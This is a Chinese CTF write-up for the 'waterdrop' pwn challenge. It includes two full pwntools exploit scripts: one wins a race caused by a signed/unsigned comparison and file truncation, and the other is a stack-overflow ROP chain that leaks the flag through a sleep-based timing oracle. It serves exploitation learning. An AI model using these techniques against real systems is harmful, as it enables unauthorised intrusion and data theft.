首先,我们检查一下程序的保护机制
解法一 然后,我们用IDA分析一下,在guess_secret函数里,存在一个**[伪条件竞争的漏洞]{.mark}**
V11为有符号数,而j为无符号数,v11如果为负数,比如-1,那么根j比较时,v11会先转成无符号数,因此**[变成最大值。那么循环就要很多次,导致结束这个需要循环有一定的时间。]{.mark}**
然后,我们注意到**[open的flag里有O_TRUNC标志位,那么会导致文件在打开时,原先内容清空。]{.mark}**
也就是在执行循环时,/tmp/secret文件内容是空的,此时我们同时再开另一个线程去连接,输出次数1次,很快完成,然后读取secret文件内容为空,把16个空字节进行MD5加密,得到密码。因此,我们只要在第二个线程输入16个空字节进行MD5加密的结果,即可执行后门函数,显示出flag。
那么,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * import hashlib sh1 = process('./waterdrop' ) sh2 = process('./waterdrop' ) def init_connection (sh ): sh.send('RPCM' ) sh.send(p32(0 )) sh.send(p32(666 ,endian = 'big' )) def guess (sh,times ): sh.sendlineafter('please input your name' ,'zhaohai' ) sh.sendlineafter('Do you want to guess my secert?' ,'y' ) sh.sendlineafter('Input how many rounds do you want to encrypt the secert:' ,str (times)) init_connection(sh1) init_connection(sh2) guess(sh1,-1 ) guess(sh2,1 ) m = hashlib.md5() m.update('\x00' *0x10 ) sh2.sendafter('Try to guess the md5 of the secert' ,m.digest()) sh2.interactive()
解法二 程序还存在另外一个漏洞
栈溢出,但是关闭了文件描述符0和1,并且使用了沙盒,限制只能使用open和read。并且本题也反弹不了shell。因为glibc并没有静态编译到这个二进制文件,导致很多函数我们不知道地址,也没法泄露。就犹如黑盒一样。
我们借鉴web攻击的思想,即盲注。
在csu_init处,有这么一句代码很关键
Rbx和rbp我们都可以控制,假如,[我们让rbp里保存着flag内容的一个字符的值]{.mark} ,然后,[我们控制rbx的值,每次尝试给rbx不同的字符值]{.mark} ,如果rbx和rbp里值一样,说明我们猜对了这个字符,那么会执行下面几个pop,然后退出函数,我们在ret时,[再rop到sleep函数,休眠几秒]{.mark} 。如果rbx和rbp不一样,则继续向上执行循环,最后到call qword ptr[r12+rbx*12]时崩溃。
那么,我们就可以判断脚本与服务器断开的时间长短,来判断我们是否猜对了当前的字符。正好,本题也有sleep函数,并且没有禁用sleep。
为了让rbp里保存flag中的一个字符的值,我们**[要保证rbp寄存器里其他位置为0]{.mark}**。
为了读取flag文件里接下来的一个字符存储到rbp里,我们得用一点技巧,这种技巧有点像物理里面的相对论。
Read时的参数因这样变化
1 2 rop += p64(0x1 +index) + p64(bss_addr-index) + p64(0 )
我们读取1个字符,存储到bss_addr处
我们读取2个字符,存储到bss_addr-1处
我们读取3个字符,存储到bss_addr-2处
这样,[对于bss_addr处,这里始终只保存着一个字符。并且是我们需要的下一个字符。]{.mark}
因为,我们要把flag的内容写到一个地方,而PIE没开,我们就可以写到我们已知的bss段上,然而要把flag里的字符放rbp里,怎么办,**[单纯的pop_rbp不可行,我们应该利用栈转移,转移到bss_addr时,会pop rbp,然后会继续执行bss_addr+处的rop。]{.mark}**因此,我们还需在bss_addr+8处布置剩下的rop。而程序一开始提供了写bss的功能
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import * import time elf = ELF('./waterdrop' ) open_plt = elf.plt['open' ] read_got = elf.got['read' ] sleep_plt = elf.plt['sleep' ] bss_addr = 0x607220 flag_str = 0x404C53 pop_rdi = 0x404B23 pop_rsi = 0x404B21 leave_ret = 0x40177a csu_pop = 0x404B1A csu_call = 0x404B00 cmp_rbx_rbp = 0x404B11 def init_connection (): global sh sh = process('./waterdrop' ) sh.send('RPCM' ) sh.send(p32(0 )) sh.send(p32(666 ,endian = 'big' )) def stackoverflow (payload ): bss_rop = '\x00' *8 + p64(cmp_rbx_rbp) + p64(0 )*7 + p64(pop_rdi) + p64(10 ) + p64(sleep_plt) sh.sendlineafter('please input your name' ,bss_rop) sh.sendlineafter('Do you want to guess my secert?' ,'n' ) sh.send(payload) possible_char = [] for x in range (ord ('a' ),ord ('z' )+1 ): possible_char.append(chr (x)) for x in range (0 ,10 ): possible_char.append(str (x)) possible_char.append('{' ) possible_char.append('}' ) possible_char.append('\x00' ) OK = False flag = '' index = 0 while not OK: for guess_char in possible_char: print 'guess (' ,index,') ' ,guess_char init_connection() rop = p64(pop_rdi) + p64(flag_str) + p64(pop_rsi) + p64(0 )*2 + p64(open_plt) rop += p64(csu_pop) rop += p64(0 ) + p64(1 ) rop += p64(read_got) rop += p64(0x1 +index) + p64(bss_addr-index) + p64(0 ) rop += p64(csu_call) rop += p64(0 ) rop += p64(ord (guess_char)) rop += p64(bss_addr) rop += p64(0 )*4 payload = 'a' *0x89 + rop + p64(leave_ret) stackoverflow(payload) sh.recv() start = time.time() sh.can_recv_raw(timeout = 4 ) end = time.time() sh.close() if end - start > 3 : if guess_char == '\x00' : OK = True flag += guess_char print 'success guess char at(' ,index,')' index+=1 break ; print 'flag=' ,flag sh.interactive()
假如没有sleep函数,怎么办? 我们仍然可以盲注,我们可以利用栈转移构成一个死循环。当我们执行到最后时,程序把栈转移到前面,这样一直在做重复的事情,使得程序不结束,达到延时的目的。具体可以自行研究。